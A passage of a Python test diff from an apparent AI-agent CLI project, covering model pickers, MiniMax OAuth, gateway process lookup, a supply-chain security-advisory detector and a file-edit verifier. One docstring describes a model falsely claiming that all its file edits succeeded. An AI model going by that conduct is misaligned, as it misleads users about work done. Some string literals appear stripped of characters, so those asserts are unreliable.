platforms = gateway_mod._all_platforms()
keys = {p["key"] for p in platforms}
assert "matrix" in keys, "matrix must be available on Linux"
def test_matrix_present_on_macos(self, monkeypatch):
import hermes_cli.gateway as gateway_mod
monkeypatch.setattr(gateway_mod.sys, "platform", "darwin")
platforms = gateway_mod._all_platforms()
keys = {p["key"] for p in platforms}
assert "matrix" in keys, "matrix must be available on macOS"
def test_matrix_hidden_on_windows(self, monkeypatch):
"""The actual gate: matrix must NOT appear on Windows."""
import hermes_cli.gateway as gateway_mod
monkeypatch.setattr(gateway_mod.sys, "platform", "win32")
platforms = gateway_mod._all_platforms()
keys = {p["key"] for p in platforms}
assert "matrix" not in keys, (
"matrix must be hidden on Windows — python-olm has no "
"Windows wheel and no native build path"
)
def test_other_platforms_unaffected_on_windows(self, monkeypatch):
"""Gating must only drop matrix, not collateral damage."""
import hermes_cli.gateway as gateway_mod
monkeypatch.setattr(gateway_mod.sys, "platform", "win32")
platforms = gateway_mod._all_platforms()
keys = {p["key"] for p in platforms}
# A representative sample of platforms that have no Windows
# blockers — picker should still surface them.
for must_have in ("telegram", "discord", "slack", "mattermost"):
assert must_have in keys, (
f"{must_have} disappeared from Windows picker — gate is "
"over-filtering"
)
+142
View File
@@ -7,6 +7,7 @@ from hermes_cli.models import (
is_nous_free_tier, partition_nous_models_by_tier,
check_nous_free_tier, _FREE_TIER_CACHE_TTL,
union_with_portal_free_recommendations,
union_with_portal_paid_recommendations,
)
import hermes_cli.models as _models_mod
@@ -506,6 +507,147 @@ class TestUnionWithPortalFreeRecommendations:
assert p["qwen/qwen3.6-plus"] == self._FREE
class TestUnionWithPortalPaidRecommendations:
"""Tests for union_with_portal_paid_recommendations.
Mirror of TestUnionWithPortalFreeRecommendations: the Portal's
paidRecommendedModels endpoint is the source of truth for what's a
blessed paid model *right now*. The in-repo curated list and
docs-hosted manifest can lag this helper guarantees newly-launched
paid models surface in the picker for paid-tier users without a CLI
release.
"""
_PAID = {"prompt": "0.000003", "completion": "0.000015"}
_FREE = {"prompt": "0", "completion": "0"}
def _payload(self, paid_models: list[str]) -> dict:
return {
"paidRecommendedModels": [
{"modelName": mid, "displayName": mid} for mid in paid_models
],
}
def test_adds_portal_paid_model_missing_from_curated(self):
"""A Portal-advertised paid model not in curated is prepended."""
curated = ["anthropic/claude-opus-4.6"]
pricing = {"anthropic/claude-opus-4.6": self._PAID}
with patch(
"hermes_cli.models.fetch_nous_recommended_models",
return_value=self._payload(["openai/gpt-5.4"]),
):
ids, p = union_with_portal_paid_recommendations(curated, pricing, "")
assert ids[0] == "openai/gpt-5.4" # prepended
assert "anthropic/claude-opus-4.6" in ids
# Existing pricing untouched
assert p["anthropic/claude-opus-4.6"] == self._PAID
def test_does_not_synthesize_pricing_for_paid_models(self):
"""Paid recommendations missing from live pricing get no synthetic entry.
Synthesizing zero pricing (like the free helper does) would mislead
:func:`partition_nous_models_by_tier` into treating them as free;
synthesizing a non-zero placeholder would lie to the user. The
right thing is to leave pricing absent so the picker shows a blank
column until the live pricing endpoint catches up.
"""
curated = ["anthropic/claude-opus-4.6"]
pricing = {"anthropic/claude-opus-4.6": self._PAID}
with patch(
"hermes_cli.models.fetch_nous_recommended_models",
return_value=self._payload(["openai/gpt-5.4"]),
):
_, p = union_with_portal_paid_recommendations(curated, pricing, "")
assert "openai/gpt-5.4" not in p
assert p["anthropic/claude-opus-4.6"] == self._PAID
def test_does_not_duplicate_curated_entries(self):
"""A Portal paid model already in curated is not duplicated."""
curated = ["openai/gpt-5.4", "anthropic/claude-opus-4.6"]
pricing = {
"openai/gpt-5.4": self._PAID,
"anthropic/claude-opus-4.6": self._PAID,
}
with patch(
"hermes_cli.models.fetch_nous_recommended_models",
return_value=self._payload(["openai/gpt-5.4"]),
):
ids, p = union_with_portal_paid_recommendations(curated, pricing, "")
assert ids == curated
assert p == pricing
def test_empty_payload_returns_inputs_unchanged(self):
"""Empty Portal response leaves curated + pricing untouched."""
curated = ["a", "b"]
pricing = {"a": self._PAID}
with patch("hermes_cli.models.fetch_nous_recommended_models", return_value={}):
ids, p = union_with_portal_paid_recommendations(curated, pricing, "")
assert ids == curated
assert p == pricing
def test_missing_paidRecommendedModels_key(self):
"""Portal payload without paidRecommendedModels degrades gracefully."""
curated = ["a"]
pricing = {"a": self._PAID}
with patch(
"hermes_cli.models.fetch_nous_recommended_models",
return_value={"freeRecommendedModels": [{"modelName": "x"}]},
):
ids, p = union_with_portal_paid_recommendations(curated, pricing, "")
assert ids == curated
assert p == pricing
def test_fetch_failure_returns_inputs(self):
"""Network failures don't blow up the picker."""
curated = ["a"]
pricing = {"a": self._PAID}
with patch(
"hermes_cli.models.fetch_nous_recommended_models",
side_effect=RuntimeError("network down"),
):
ids, p = union_with_portal_paid_recommendations(curated, pricing, "")
assert ids == curated
assert p == pricing
def test_invalid_entries_skipped(self):
"""Non-dict / missing-modelName entries are filtered out."""
curated = ["a"]
pricing = {"a": self._PAID}
with patch(
"hermes_cli.models.fetch_nous_recommended_models",
return_value={
"paidRecommendedModels": [
"not-a-dict",
{"displayName": "no-modelName"},
{"modelName": ""},
{"modelName": "openai/gpt-5.4"},
]
},
):
ids, p = union_with_portal_paid_recommendations(curated, pricing, "")
assert ids == ["openai/gpt-5.4", "a"]
# No synthetic entry — pricing is untouched.
assert "openai/gpt-5.4" not in p
def test_preserves_relative_order_of_new_paid_models(self):
"""Multiple new paid models are prepended in payload order."""
curated = ["anthropic/claude-opus-4.6"]
pricing = {"anthropic/claude-opus-4.6": self._PAID}
with patch(
"hermes_cli.models.fetch_nous_recommended_models",
return_value=self._payload(["openai/gpt-5.4", "openai/gpt-5.5"]),
):
ids, _ = union_with_portal_paid_recommendations(curated, pricing, "")
assert ids == [
"openai/gpt-5.4",
"openai/gpt-5.5",
"anthropic/claude-opus-4.6",
]
class TestCheckNousFreeTierCache:
"""Tests for the TTL cache on check_nous_free_tier()."""
@@ -2285,3 +2285,39 @@ def test_minimax_oauth_runtime_uses_inference_base_url(monkeypatch):
resolved = rp.resolve_runtime_provider(requested="minimax-oauth")
assert MINIMAX_OAUTH_CN_INFERENCE.rstrip("/") in resolved["base_url"]
def test_minimax_oauth_pool_forces_anthropic_messages_despite_stale_config(monkeypatch):
"""A pooled MiniMax OAuth token must not inherit stale chat_completions config."""
class _Entry:
access_token = "oauth-token"
source = "manual:minimax_oauth"
base_url = "https://api.minimax.io/anthropic"
class _Pool:
def has_credentials(self):
return True
def select(self):
return _Entry()
monkeypatch.setattr(rp, "resolve_provider", lambda *a, **k: "minimax-oauth")
monkeypatch.setattr(
rp,
"_get_model_config",
lambda: {
"provider": "minimax-oauth",
"default": "MiniMax-M2.7",
"api_mode": "chat_completions",
},
)
monkeypatch.setattr(rp, "load_pool", lambda provider: _Pool())
monkeypatch.setattr(rp, "_resolve_named_custom_runtime", lambda **k: None)
monkeypatch.setattr(rp, "_resolve_explicit_runtime", lambda **k: None)
resolved = rp.resolve_runtime_provider(requested="minimax-oauth")
assert resolved["provider"] == "minimax-oauth"
assert resolved["api_mode"] == "anthropic_messages"
assert resolved["base_url"] == "https://api.minimax.io/anthropic"
@@ -0,0 +1,330 @@
"""Tests for hermes_cli.security_advisories.
The advisory module is the user-facing detection / remediation surface
for supply-chain attacks (e.g. the Mini Shai-Hulud worm of May 2026 that
poisoned mistralai 2.4.6 on PyPI). These tests exercise the public API in
isolation no real package metadata, no real config, no real cache.
"""
from __future__ import annotations
import time
from pathlib import Path
from typing import Iterator
import pytest
import hermes_cli.security_advisories as adv
# ---------------------------------------------------------------------------
# Fixtures
# ---------------------------------------------------------------------------
@pytest.fixture
def fake_advisory() -> adv.Advisory:
"""A self-contained Advisory used across tests."""
return adv.Advisory(
id="test-advisory-2026-99",
title="Test advisory",
summary="Pretend this package has been compromised.",
url="https://example.com/advisory",
compromised=(
("fake-malicious-pkg", frozenset({"6.6.6"})),
),
remediation=(
"pip uninstall -y fake-malicious-pkg",
"Rotate any credentials that may have been exposed.",
),
published="2026-01-01",
severity="critical",
)
@pytest.fixture
def isolated_home(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
"""Redirect HERMES_HOME so banner cache and config writes are sandboxed."""
home = tmp_path / ".hermes"
home.mkdir()
(home / "cache").mkdir()
monkeypatch.setattr(Path, "home", lambda: tmp_path)
monkeypatch.setenv("HERMES_HOME", str(home))
return home
@pytest.fixture
def patched_version(monkeypatch: pytest.MonkeyPatch) -> Iterator[dict[str, str]]:
"""Override _installed_version with a controllable lookup table."""
table: dict[str, str] = {}
monkeypatch.setattr(adv, "_installed_version", lambda pkg: table.get(pkg))
yield table
# ---------------------------------------------------------------------------
# detect_compromised
# ---------------------------------------------------------------------------
class TestDetectCompromised:
def test_no_match_returns_empty_list(self, fake_advisory, patched_version):
# No matching package installed.
hits = adv.detect_compromised(advisories=[fake_advisory])
assert hits == []
def test_exact_version_match(self, fake_advisory, patched_version):
patched_version["fake-malicious-pkg"] = "6.6.6"
hits = adv.detect_compromised(advisories=[fake_advisory])
assert len(hits) == 1
assert hits[0].advisory.id == fake_advisory.id
assert hits[0].package == "fake-malicious-pkg"
assert hits[0].installed_version == "6.6.6"
def test_safe_version_does_not_match(self, fake_advisory, patched_version):
# Package is installed but the version is not in the compromised set.
patched_version["fake-malicious-pkg"] = "6.6.5"
hits = adv.detect_compromised(advisories=[fake_advisory])
assert hits == []
def test_empty_compromised_set_matches_any_version(
self, patched_version
):
# An advisory with an empty version set is a "any version is suspect"
# wildcard — used when an entire maintainer namespace is owned.
wildcard = adv.Advisory(
id="wildcard",
title="Whole namespace owned",
summary="x",
url="x",
compromised=(("evil-namespace", frozenset()),),
remediation=("uninstall it",),
)
patched_version["evil-namespace"] = "0.0.1"
hits = adv.detect_compromised(advisories=[wildcard])
assert len(hits) == 1
assert hits[0].installed_version == "0.0.1"
# ---------------------------------------------------------------------------
# Acknowledgement persistence
# ---------------------------------------------------------------------------
class TestAck:
def test_get_acked_ids_empty_when_no_config(self, monkeypatch):
# load_config raises → returns empty set, doesn't crash.
monkeypatch.setattr(
"hermes_cli.config.load_config",
lambda: (_ for _ in ()).throw(RuntimeError("boom")),
)
assert adv.get_acked_ids() == set()
def test_filter_unacked_strips_dismissed(self, fake_advisory, monkeypatch):
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
monkeypatch.setattr(adv, "get_acked_ids", lambda: {fake_advisory.id})
assert adv.filter_unacked([hit]) == []
def test_filter_unacked_passes_through_unknown(
self, fake_advisory, monkeypatch
):
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
assert adv.filter_unacked([hit]) == [hit]
def test_ack_advisory_persists_id(self, isolated_home, monkeypatch):
# Stub the config layer end-to-end with a tiny in-memory store so we
# don't depend on the full hermes_cli.config bootstrap.
store: dict = {"security": {}}
monkeypatch.setattr(
"hermes_cli.config.load_config", lambda: store
)
monkeypatch.setattr(
"hermes_cli.config.save_config",
lambda cfg: store.update(cfg) or None,
)
assert adv.ack_advisory("test-advisory-2026-99") is True
assert "test-advisory-2026-99" in store["security"]["acked_advisories"]
# Idempotent.
adv.ack_advisory("test-advisory-2026-99")
assert (
store["security"]["acked_advisories"].count("test-advisory-2026-99")
== 1
)
def test_ack_advisory_rejects_blank(self, isolated_home):
assert adv.ack_advisory("") is False
assert adv.ack_advisory(" ") is False
# ---------------------------------------------------------------------------
# Banner cache rate limiting
# ---------------------------------------------------------------------------
class TestBannerCache:
def test_first_call_returns_due_hits(
self, fake_advisory, isolated_home, monkeypatch
):
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
due = adv.hits_due_for_banner([hit])
assert due == [hit]
def test_second_call_within_window_suppresses(
self, fake_advisory, isolated_home, monkeypatch
):
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
adv.hits_due_for_banner([hit])
# Same banner inside repeat window → suppressed.
again = adv.hits_due_for_banner([hit])
assert again == []
def test_call_after_window_re_banners(
self, fake_advisory, isolated_home, monkeypatch
):
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
adv.hits_due_for_banner([hit])
# Backdate the cache so it looks like the banner was shown more
# than 24h ago — should re-banner.
cache_path = adv._banner_cache_path()
assert cache_path is not None
old_lines = cache_path.read_text(encoding="utf-8").splitlines()
backdated = []
for line in old_lines:
parts = line.split(None, 1)
if len(parts) == 2:
backdated.append(f"{parts[0]} {time.time() - 48 * 3600}")
cache_path.write_text("\n".join(backdated) + "\n", encoding="utf-8")
again = adv.hits_due_for_banner([hit])
assert again == [hit]
def test_acked_hits_never_banner(
self, fake_advisory, isolated_home, monkeypatch
):
monkeypatch.setattr(adv, "get_acked_ids", lambda: {fake_advisory.id})
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
assert adv.hits_due_for_banner([hit]) == []
# ---------------------------------------------------------------------------
# Rendering
# ---------------------------------------------------------------------------
class TestRendering:
def test_short_banner_lines_includes_id_and_version(self, fake_advisory):
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
lines = adv.short_banner_lines([hit])
joined = "\n".join(lines)
assert fake_advisory.id in joined
assert fake_advisory.title in joined
assert "fake-malicious-pkg==6.6.6" in joined
assert "hermes doctor" in joined
def test_full_remediation_text_contains_all_steps(self, fake_advisory):
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
body = "\n".join(adv.full_remediation_text(hit))
# All remediation steps must be present.
for step in fake_advisory.remediation:
assert step in body
assert fake_advisory.url in body
assert fake_advisory.summary in body
def test_render_doctor_section_clean_state(self):
# No hits → success message, has_problems=False.
has_problems, lines = adv.render_doctor_section([])
assert has_problems is False
assert any("No active security advisories" in line for line in lines)
def test_render_doctor_section_with_unacked_hit(
self, fake_advisory, monkeypatch
):
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
has_problems, lines = adv.render_doctor_section([hit])
assert has_problems is True
body = "\n".join(lines)
assert fake_advisory.title in body
def test_gateway_log_message_singular(self, fake_advisory, monkeypatch):
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
hit = adv.AdvisoryHit(
advisory=fake_advisory,
package="fake-malicious-pkg",
installed_version="6.6.6",
)
msg = adv.gateway_log_message([hit])
assert msg is not None
assert fake_advisory.id in msg
assert "fake-malicious-pkg==6.6.6" in msg
def test_gateway_log_message_returns_none_for_no_hits(self):
assert adv.gateway_log_message([]) is None
# ---------------------------------------------------------------------------
# Real catalog smoke test
# ---------------------------------------------------------------------------
class TestRealCatalog:
def test_advisories_well_formed(self):
"""Every shipped advisory must be self-consistent.
Catches data-entry mistakes (empty IDs, missing remediation, bad
compromised tuples) before they ship.
"""
seen_ids: set[str] = set()
for advisory in adv.ADVISORIES:
assert advisory.id, "advisory has empty id"
assert advisory.id not in seen_ids, f"duplicate id {advisory.id}"
seen_ids.add(advisory.id)
assert advisory.title, f"{advisory.id}: empty title"
assert advisory.summary, f"{advisory.id}: empty summary"
assert advisory.remediation, f"{advisory.id}: empty remediation"
assert advisory.url.startswith("http"), \
f"{advisory.id}: bad url {advisory.url!r}"
assert advisory.compromised, \
f"{advisory.id}: empty compromised tuple"
for pkg, versions in advisory.compromised:
assert pkg, f"{advisory.id}: empty package name"
assert isinstance(versions, frozenset), \
f"{advisory.id}: versions must be frozenset"
@@ -6,6 +6,7 @@ rather than leaving zombie processes or telling users to manually restart
when launchd will auto-respawn.
"""
import os
import subprocess
from types import SimpleNamespace
from unittest.mock import patch, MagicMock
@@ -1068,13 +1069,18 @@ class TestFindGatewayPidsExclude:
def test_excludes_specified_pids(self, monkeypatch):
monkeypatch.setattr(gateway_cli, "is_windows", lambda: False)
# Bypass /proc scan so the subprocess (ps) fallback is used
_real_isdir = os.path.isdir
monkeypatch.setattr("os.path.isdir", lambda p: False if p == "/proc" else _real_isdir(p))
monkeypatch.setattr(gateway_cli, "_get_service_pids", lambda: set())
monkeypatch.setattr(gateway_cli, "_get_ancestor_pids", lambda: {999})
def fake_run(cmd, **kwargs):
return subprocess.CompletedProcess(
cmd, 0,
stdout=(
"user 100 0.0 0.0 0 0 ? S 00:00 0:00 python gateway/run.py\n"
"user 200 0.0 0.0 0 0 ? S 00:00 0:00 python gateway/run.py\n"
"100 python gateway/run.py\n"
"200 python gateway/run.py\n"
),
stderr="",
)
@@ -1082,19 +1088,24 @@ class TestFindGatewayPidsExclude:
monkeypatch.setattr(gateway_cli.subprocess, "run", fake_run)
monkeypatch.setattr("os.getpid", lambda: 999)
pids = gateway_cli.find_gateway_pids(exclude_pids={100})
pids = gateway_cli.find_gateway_pids(exclude_pids={100}, all_profiles=True)
assert 100 not in pids
assert 200 in pids
def test_no_exclude_returns_all(self, monkeypatch):
monkeypatch.setattr(gateway_cli, "is_windows", lambda: False)
# Bypass /proc scan so the subprocess (ps) fallback is used
_real_isdir = os.path.isdir
monkeypatch.setattr("os.path.isdir", lambda p: False if p == "/proc" else _real_isdir(p))
monkeypatch.setattr(gateway_cli, "_get_service_pids", lambda: set())
monkeypatch.setattr(gateway_cli, "_get_ancestor_pids", lambda: {999})
def fake_run(cmd, **kwargs):
return subprocess.CompletedProcess(
cmd, 0,
stdout=(
"user 100 0.0 0.0 0 0 ? S 00:00 0:00 python gateway/run.py\n"
"user 200 0.0 0.0 0 0 ? S 00:00 0:00 python gateway/run.py\n"
"100 python gateway/run.py\n"
"200 python gateway/run.py\n"
),
stderr="",
)
@@ -1102,7 +1113,7 @@ class TestFindGatewayPidsExclude:
monkeypatch.setattr(gateway_cli.subprocess, "run", fake_run)
monkeypatch.setattr("os.getpid", lambda: 999)
pids = gateway_cli.find_gateway_pids()
pids = gateway_cli.find_gateway_pids(all_profiles=True)
assert 100 in pids
assert 200 in pids
@@ -1111,6 +1122,10 @@ class TestFindGatewayPidsExclude:
profile_dir.mkdir(parents=True)
monkeypatch.setattr(gateway_cli, "is_windows", lambda: False)
monkeypatch.setattr(gateway_cli, "get_hermes_home", lambda: profile_dir)
# Bypass /proc scan so the subprocess (ps) fallback is used
_real_isdir = os.path.isdir
monkeypatch.setattr("os.path.isdir", lambda p: False if p == "/proc" else _real_isdir(p))
monkeypatch.setattr(gateway_cli, "_get_ancestor_pids", lambda: {999})
def fake_run(cmd, **kwargs):
return subprocess.CompletedProcess(
@@ -19,6 +19,8 @@ The fix:
These tests pin the corrected behavior.
"""
import time
from datetime import datetime, timezone
from unittest.mock import patch
import pytest
@@ -67,6 +69,53 @@ def test_minimax_login_does_not_launch_anthropic_flow():
assert body["expires_in"] == 600
def test_minimax_dashboard_poller_accepts_absolute_ms_expired_in():
"""Dashboard MiniMax completion must accept unix-ms token expiry values."""
from hermes_cli import web_server as ws
now = datetime.now(timezone.utc)
abs_ms = int((now.timestamp() + 1800) * 1000)
session_id = "minimax-absolute-ms-test"
ws._oauth_sessions[session_id] = {
"session_id": session_id,
"provider": "minimax-oauth",
"flow": "device_code",
"created_at": time.time(),
"status": "pending",
"error_message": None,
"portal_base_url": "https://api.minimax.io",
"client_id": "client-id",
"user_code": "ABCD-1234",
"code_verifier": "verifier",
"interval_ms": 2000,
"expired_in_raw": abs_ms,
"region": "global",
}
captured_state = {}
try:
with patch(
"hermes_cli.auth._minimax_poll_token",
return_value={
"status": "success",
"access_token": "access",
"refresh_token": "refresh",
"expired_in": abs_ms,
"token_type": "Bearer",
},
), patch(
"hermes_cli.auth._minimax_save_auth_state",
side_effect=lambda state: captured_state.update(state),
):
ws._minimax_poller(session_id)
finally:
ws._oauth_sessions.pop(session_id, None)
assert captured_state["access_token"] == "access"
assert 1790 <= captured_state["expires_in"] <= 1810
assert datetime.fromisoformat(captured_state["expires_at"]).year < 9999
def test_anthropic_pkce_branch_still_works():
"""Sanity: the dispatcher tightening doesn't break the legitimate Anthropic PKCE path."""
fake_anthropic_response = {
@@ -182,7 +182,7 @@ class TestClientCacheBoundedGrowth:
_get_cached_client,
)
key = ("test_replace", True, "", "", "", (), False)
key = ("test_replace", True, "", "", "", (), False, "")
# Simulate a stale entry from a closed loop
old_loop = asyncio.new_event_loop()
@@ -0,0 +1,308 @@
"""Tests for the per-turn file-mutation verifier footer.
Covers the three moving pieces:
1. ``_extract_file_mutation_targets`` pulls file paths from write_file /
patch (replace + V4A) tool-call argument dicts.
2. ``AIAgent._record_file_mutation_result`` builds the per-turn state
dict, removing entries when a later success supersedes an earlier
failure for the same path.
3. ``AIAgent._format_file_mutation_failure_footer`` renders the dict
as a user-visible advisory.
Regression target: the "Ben Eng llm-wiki" session where grok-4.1-fast
batched parallel patches, half failed, and the model summarised the
turn claiming every file was edited. This verifier makes over-claiming
structurally impossible past the model: the user always sees the real
list of files that did NOT change.
"""
from __future__ import annotations
import json
import pytest
from run_agent import (
AIAgent,
_FILE_MUTATING_TOOLS,
_extract_error_preview,
_extract_file_mutation_targets,
)
# ---------------------------------------------------------------------------
# _extract_file_mutation_targets
# ---------------------------------------------------------------------------
class TestExtractFileMutationTargets:
def test_non_mutating_tool_returns_empty(self):
assert _extract_file_mutation_targets("read_file", {"path": "/x"}) == []
assert _extract_file_mutation_targets("terminal", {"command": "ls"}) == []
def test_write_file_returns_single_path(self):
out = _extract_file_mutation_targets("write_file", {"path": "/tmp/a.md", "content": "x"})
assert out == ["/tmp/a.md"]
def test_write_file_missing_path_returns_empty(self):
assert _extract_file_mutation_targets("write_file", {"content": "x"}) == []
def test_patch_replace_mode_returns_path(self):
args = {"mode": "replace", "path": "/tmp/a.md", "old_string": "x", "new_string": "y"}
assert _extract_file_mutation_targets("patch", args) == ["/tmp/a.md"]
def test_patch_default_mode_is_replace(self):
# Mode omitted — schema default is ``replace``.
args = {"path": "/tmp/a.md", "old_string": "x", "new_string": "y"}
assert _extract_file_mutation_targets("patch", args) == ["/tmp/a.md"]
def test_patch_v4a_single_file(self):
body = (
"*** Begin Patch\n"
"*** Update File: /tmp/a.md\n"
"@@ ctx @@\n"
" line1\n"
"-bad\n"
"+good\n"
"*** End Patch\n"
)
args = {"mode": "patch", "patch": body}
assert _extract_file_mutation_targets("patch", args) == ["/tmp/a.md"]
def test_patch_v4a_multi_file(self):
body = (
"*** Begin Patch\n"
"*** Update File: /tmp/a.md\n"
"@@ @@\n-a\n+b\n"
"*** Add File: /tmp/new.md\n"
"+fresh\n"
"*** Delete File: /tmp/old.md\n"
"*** End Patch\n"
)
args = {"mode": "patch", "patch": body}
paths = _extract_file_mutation_targets("patch", args)
assert paths == ["/tmp/a.md", "/tmp/new.md", "/tmp/old.md"]
def test_patch_v4a_missing_body_returns_empty(self):
assert _extract_file_mutation_targets("patch", {"mode": "patch"}) == []
assert _extract_file_mutation_targets("patch", {"mode": "patch", "patch": ""}) == []
# ---------------------------------------------------------------------------
# _extract_error_preview
# ---------------------------------------------------------------------------
class TestExtractErrorPreview:
def test_json_error_field_preferred(self):
raw = json.dumps({"success": False, "error": "Could not find old_string in /tmp/x"})
assert _extract_error_preview(raw) == "Could not find old_string in /tmp/x"
def test_plain_string_falls_through(self):
assert _extract_error_preview("Error executing tool: boom") == "Error executing tool: boom"
def test_long_preview_truncated(self):
long = "x" * 500
out = _extract_error_preview(long, max_len=50)
assert len(out) <= 50
assert out.endswith("")
def test_none_returns_empty(self):
assert _extract_error_preview(None) == ""
# ---------------------------------------------------------------------------
# _record_file_mutation_result — state transitions
# ---------------------------------------------------------------------------
def _bare_agent() -> AIAgent:
"""Skip __init__ and only attach the per-turn state dict.
AIAgent.__init__ takes ~60 parameters and touches network, auth, and
the filesystem. For these tests we only need the two methods
``_record_file_mutation_result`` and ``_format_file_mutation_failure_footer``.
Using ``object.__new__`` mirrors the gateway-test pattern documented in
the agent pitfalls list.
"""
agent = object.__new__(AIAgent)
agent._turn_failed_file_mutations = {}
return agent
class TestRecordFileMutationResult:
def test_non_mutating_tool_ignored(self):
agent = _bare_agent()
agent._record_file_mutation_result(
"read_file", {"path": "/tmp/x"}, "{}", is_error=True,
)
assert agent._turn_failed_file_mutations == {}
def test_failure_recorded(self):
agent = _bare_agent()
result = json.dumps({"success": False, "error": "Could not find old_string"})
agent._record_file_mutation_result(
"patch", {"mode": "replace", "path": "/tmp/a.md", "old_string": "x", "new_string": "y"},
result, is_error=True,
)
state = agent._turn_failed_file_mutations
assert "/tmp/a.md" in state
assert state["/tmp/a.md"]["tool"] == "patch"
assert "Could not find old_string" in state["/tmp/a.md"]["error_preview"]
def test_success_removes_prior_failure(self):
agent = _bare_agent()
# First attempt fails
agent._record_file_mutation_result(
"patch", {"mode": "replace", "path": "/tmp/a.md", "old_string": "x", "new_string": "y"},
json.dumps({"error": "not found"}), is_error=True,
)
assert "/tmp/a.md" in agent._turn_failed_file_mutations
# Second attempt with corrected old_string succeeds
agent._record_file_mutation_result(
"patch", {"mode": "replace", "path": "/tmp/a.md", "old_string": "real", "new_string": "fixed"},
json.dumps({"success": True, "diff": "..."}), is_error=False,
)
assert agent._turn_failed_file_mutations == {}
def test_repeated_failure_keeps_first_error(self):
agent = _bare_agent()
agent._record_file_mutation_result(
"patch", {"mode": "replace", "path": "/tmp/a.md", "old_string": "v1", "new_string": "y"},
json.dumps({"error": "first error"}), is_error=True,
)
agent._record_file_mutation_result(
"patch", {"mode": "replace", "path": "/tmp/a.md", "old_string": "v2", "new_string": "y"},
json.dumps({"error": "second error"}), is_error=True,
)
# Keep the original error — swapping to the latest would obscure
# the initial root cause.
assert "first error" in agent._turn_failed_file_mutations["/tmp/a.md"]["error_preview"]
def test_v4a_multi_file_all_tracked(self):
agent = _bare_agent()
body = (
"*** Begin Patch\n"
"*** Update File: /tmp/a.md\n@@ @@\n-a\n+b\n"
"*** Update File: /tmp/b.md\n@@ @@\n-a\n+b\n"
"*** End Patch\n"
)
agent._record_file_mutation_result(
"patch", {"mode": "patch", "patch": body},
json.dumps({"error": "parse failure"}), is_error=True,
)
assert set(agent._turn_failed_file_mutations) == {"/tmp/a.md", "/tmp/b.md"}
def test_no_state_dict_silent_noop(self):
"""When called outside run_conversation the state dict is absent.
The record helper must never raise a tool dispatched from, say,
a direct ``chat()`` call should not blow up the call site just
because the verifier state hasn't been initialised.
"""
agent = object.__new__(AIAgent) # no state attached
# Should not raise
agent._record_file_mutation_result(
"patch", {"mode": "replace", "path": "/tmp/a.md"},
json.dumps({"error": "x"}), is_error=True,
)
def test_missing_path_arg_recorded_nowhere(self):
agent = _bare_agent()
agent._record_file_mutation_result(
"patch", {"mode": "replace"}, # no path
json.dumps({"error": "path required"}), is_error=True,
)
# No path → nothing to key on, state stays empty. The per-turn
# state is about file paths, not individual tool-call IDs.
assert agent._turn_failed_file_mutations == {}
# ---------------------------------------------------------------------------
# _format_file_mutation_failure_footer
# ---------------------------------------------------------------------------
class TestFormatFooter:
def test_empty_returns_empty_string(self):
assert AIAgent._format_file_mutation_failure_footer({}) == ""
def test_single_failure(self):
out = AIAgent._format_file_mutation_failure_footer(
{"/tmp/a.md": {"tool": "patch", "error_preview": "Could not find old_string"}},
)
assert "1 file(s) were NOT modified" in out
assert "/tmp/a.md" in out
assert "Could not find old_string" in out
assert "git status" in out # user-actionable hint
def test_truncation_at_10_entries(self):
failed = {
f"/tmp/f{i}.md": {"tool": "patch", "error_preview": "err"}
for i in range(15)
}
out = AIAgent._format_file_mutation_failure_footer(failed)
assert "15 file(s) were NOT modified" in out
assert "… and 5 more" in out
# Ten file bullets + header + "and X more" line
lines = out.split("\n")
bullet_lines = [ln for ln in lines if ln.lstrip().startswith("")]
assert len(bullet_lines) == 11 # 10 shown + 1 summary
# ---------------------------------------------------------------------------
# _file_mutation_verifier_enabled — env + config precedence
# ---------------------------------------------------------------------------
class TestVerifierEnabled:
def test_default_is_enabled(self, monkeypatch):
monkeypatch.delenv("HERMES_FILE_MUTATION_VERIFIER", raising=False)
agent = _bare_agent()
# With no env and no config present, safe default is True.
# load_config may surface a user config.yaml in some envs — stub it.
import hermes_cli.config as _cfg_mod
monkeypatch.setattr(_cfg_mod, "load_config", lambda: {})
assert agent._file_mutation_verifier_enabled() is True
@pytest.mark.parametrize("value", ["0", "false", "FALSE", "no", "off"])
def test_env_disables(self, monkeypatch, value):
monkeypatch.setenv("HERMES_FILE_MUTATION_VERIFIER", value)
agent = _bare_agent()
assert agent._file_mutation_verifier_enabled() is False
def test_env_enables_over_config(self, monkeypatch):
monkeypatch.setenv("HERMES_FILE_MUTATION_VERIFIER", "1")
import hermes_cli.config as _cfg_mod
monkeypatch.setattr(
_cfg_mod, "load_config",
lambda: {"display": {"file_mutation_verifier": False}},
)
agent = _bare_agent()
assert agent._file_mutation_verifier_enabled() is True
def test_config_disables_when_no_env(self, monkeypatch):
monkeypatch.delenv("HERMES_FILE_MUTATION_VERIFIER", raising=False)
import hermes_cli.config as _cfg_mod
monkeypatch.setattr(
_cfg_mod, "load_config",
lambda: {"display": {"file_mutation_verifier": False}},
)
agent = _bare_agent()
assert agent._file_mutation_verifier_enabled() is False
# ---------------------------------------------------------------------------
# Module-level invariants
# ---------------------------------------------------------------------------
def test_file_mutating_tools_set_shape():
"""write_file + patch are the only tools the verifier tracks.
